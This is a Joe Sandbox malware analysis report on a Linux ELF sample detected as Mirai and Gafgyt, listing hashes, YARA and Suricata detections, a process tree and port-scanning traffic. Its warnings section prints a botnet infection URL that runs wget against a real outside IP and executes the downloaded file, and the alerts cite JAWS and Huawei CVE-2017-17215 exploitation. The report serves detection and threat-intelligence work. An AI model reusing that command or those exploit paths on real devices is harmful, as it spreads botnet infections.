Edit tour

Linux Analysis Report
db0fa4b8db0333367e9bda3ab68b8042.spc.elf

Overview

General Information

Sample name:	db0fa4b8db0333367e9bda3ab68b8042.spc.elf
Analysis ID:	1581723
MD5:	faa63670c8d8713596ac087b84c7f7b0
SHA1:	80c73f2a38b45b66e755d349490c3142f79b4381
SHA256:	bcb833be3ae52705082c9ac31ac9149434e5956ca2b807997ebca110d8f3c69a
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581723
Start date and time:	2024-12-28 20:41:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	db0fa4b8db0333367e9bda3ab68b8042.spc.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@11/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+212.227.135.15/jaws;sh+/tmp/jaws
VT rate limit hit for: http://212.227.135.15/bin

Runtime Messages

Command:	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf
PID:	6236
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6236, Parent: 6151, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6238, Parent: 6236)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6244, Parent: 6238)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6247, Parent: 6238)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6249, Parent: 6238)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6251, Parent: 6238)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6254, Parent: 6238)

db0fa4b8db0333367e9bda3ab68b8042.spc.elf New Fork (PID: 6256, Parent: 6238)

xfce4-panel New Fork (PID: 6258, Parent: 2063)

wrapper-2.0 (PID: 6258, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6259, Parent: 2063)

wrapper-2.0 (PID: 6259, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6260, Parent: 2063)

wrapper-2.0 (PID: 6260, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6261, Parent: 2063)

wrapper-2.0 (PID: 6261, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 6262, Parent: 2063)

wrapper-2.0 (PID: 6262, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6263, Parent: 2063)

wrapper-2.0 (PID: 6263, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13847:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
db0fa4b8db0333367e9bda3ab68b8042.spc.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13847:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
6244.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x133d8:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x13847:$x2: /bin/busybox chmod 777 * /tmp/ 0x13068:$s3: POST /cdn-cgi/
6236.1.00007fcbc0011000.00007fcbc0026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13068:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6236	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6236	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x6c3a:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6244	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.spc.elf PID: 6244	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x3dd2:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 13 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T20:42:02.782389+0100	2030092	1	Web Application Attack	192.168.2.23	54200	118.52.130.141	80	TCP
2024-12-28T20:42:03.325358+0100	2030092	1	Web Application Attack	192.168.2.23	50306	23.211.201.140	80	TCP
2024-12-28T20:42:04.037352+0100	2030092	1	Web Application Attack	192.168.2.23	58948	81.163.205.48	80	TCP
2024-12-28T20:42:04.976694+0100	2030092	1	Web Application Attack	192.168.2.23	41650	199.106.109.74	80	TCP
2024-12-28T20:42:13.312977+0100	2030092	1	Web Application Attack	192.168.2.23	59946	188.241.28.41	80	TCP
2024-12-28T20:42:14.039562+0100	2030092	1	Web Application Attack	192.168.2.23	60354	120.77.181.86	80	TCP
2024-12-28T20:42:14.168897+0100	2030092	1	Web Application Attack	192.168.2.23	34558	146.245.41.22	80	TCP
2024-12-28T20:42:14.444493+0100	2030092	1	Web Application Attack	192.168.2.23	48928	172.65.133.205	80	TCP
2024-12-28T20:42:14.449026+0100	2030092	1	Web Application Attack	192.168.2.23	44702	109.108.183.87	80	TCP
2024-12-28T20:42:17.249834+0100	2030092	1	Web Application Attack	192.168.2.23	50932	120.119.185.146	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T20:41:50.122820+0100	2029034	1	Web Application Attack	192.168.2.23	33736	109.164.34.114	443	TCP
2024-12-28T20:41:51.106292+0100	2029034	1	Web Application Attack	192.168.2.23	58514	117.193.41.179	443	TCP
2024-12-28T20:42:02.782389+0100	2029034	1	Web Application Attack	192.168.2.23	54200	118.52.130.141	80	TCP
2024-12-28T20:42:03.325358+0100	2029034	1	Web Application Attack	192.168.2.23	50306	23.211.201.140	80	TCP
2024-12-28T20:42:04.037352+0100	2029034	1	Web Application Attack	192.168.2.23	58948	81.163.205.48	80	TCP
2024-12-28T20:42:04.976694+0100	2029034	1	Web Application Attack	192.168.2.23	41650	199.106.109.74	80	TCP
2024-12-28T20:42:13.312977+0100	2029034	1	Web Application Attack	192.168.2.23	59946	188.241.28.41	80	TCP
2024-12-28T20:42:14.039562+0100	2029034	1	Web Application Attack	192.168.2.23	60354	120.77.181.86	80	TCP
2024-12-28T20:42:14.168897+0100	2029034	1	Web Application Attack	192.168.2.23	34558	146.245.41.22	80	TCP
2024-12-28T20:42:14.444493+0100	2029034	1	Web Application Attack	192.168.2.23	48928	172.65.133.205	80	TCP
2024-12-28T20:42:14.449026+0100	2029034	1	Web Application Attack	192.168.2.23	44702	109.108.183.87	80	TCP
2024-12-28T20:42:17.249834+0100	2029034	1	Web Application Attack	192.168.2.23	50932	120.119.185.146	80	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T20:42:05.276107+0100	2835222	1	A Network Trojan was detected	192.168.2.23	47546	197.245.207.101	37215	TCP
2024-12-28T20:42:06.609907+0100	2835222	1	A Network Trojan was detected	192.168.2.23	50294	197.12.138.143	37215	TCP
2024-12-28T20:42:06.884682+0100	2835222	1	A Network Trojan was detected	192.168.2.23	54492	197.144.154.171	37215	TCP
2024-12-28T20:42:07.743099+0100	2835222	1	A Network Trojan was detected	192.168.2.23	52560	197.220.97.129	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Virustotal: Detection: 62%			Perma Link
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	ReversingLabs: Detection: 70%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33736 -> 109.164.34.114:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58514 -> 117.193.41.179:443
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54200 -> 118.52.130.141:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54200 -> 118.52.130.141:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50306 -> 23.211.201.140:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50306 -> 23.211.201.140:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58948 -> 81.163.205.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58948 -> 81.163.205.48:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41650 -> 199.106.109.74:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41650 -> 199.106.109.74:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47546 -> 197.245.207.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50294 -> 197.12.138.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54492 -> 197.144.154.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52560 -> 197.220.97.129:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59946 -> 188.241.28.41:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59946 -> 188.241.28.41:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34558 -> 146.245.41.22:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34558 -> 146.245.41.22:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60354 -> 120.77.181.86:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60354 -> 120.77.181.86:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48928 -> 172.65.133.205:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48928 -> 172.65.133.205:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44702 -> 109.108.183.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44702 -> 109.108.183.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50932 -> 120.119.185.146:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50932 -> 120.119.185.146:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.230.78.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.139.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.83.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.136.53.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.38.249.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.155.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.220.76.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.17.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.156.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.146.242.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.24.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.161.164.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.129.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.240.236.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.247.130.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.201.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.44.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.135.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.138.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.151.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.67.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.242.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.85.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.219.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.63.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.229.173.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.223.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.236.108.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.12.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.6.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.187.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.53.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.98.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.68.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.196.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.250.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.200.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.212.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.171.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.34.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.181.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.140.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.109.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.174.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.47.33.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.150.147.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.94.58.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.116.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.168.124.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.91.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.22.133.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.72.100.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.238.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.131.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.180.152.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.87.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.181.80.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.108.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.177.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.93.68.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.244.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.10.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.58.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.67.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.71.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.244.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.219.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.137.222.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.61.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.90.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.165.208.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.13.89.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.25.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.12.196.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.5.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.68.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.123.15.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.91.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.220.97.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.226.233.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.80.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.72.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.223.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.57.177.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.173.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.107.214.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.40.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.62.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.108.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.154.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.95.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.50.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.159.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.228.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.221.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.66.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.57.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.32.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.67.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.62.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.133.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.184.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.87.136.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.244.30.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.5.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.167.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.41.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.149.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.203.136.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.239.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.215.92 ports 1,2,3,5,7,37215
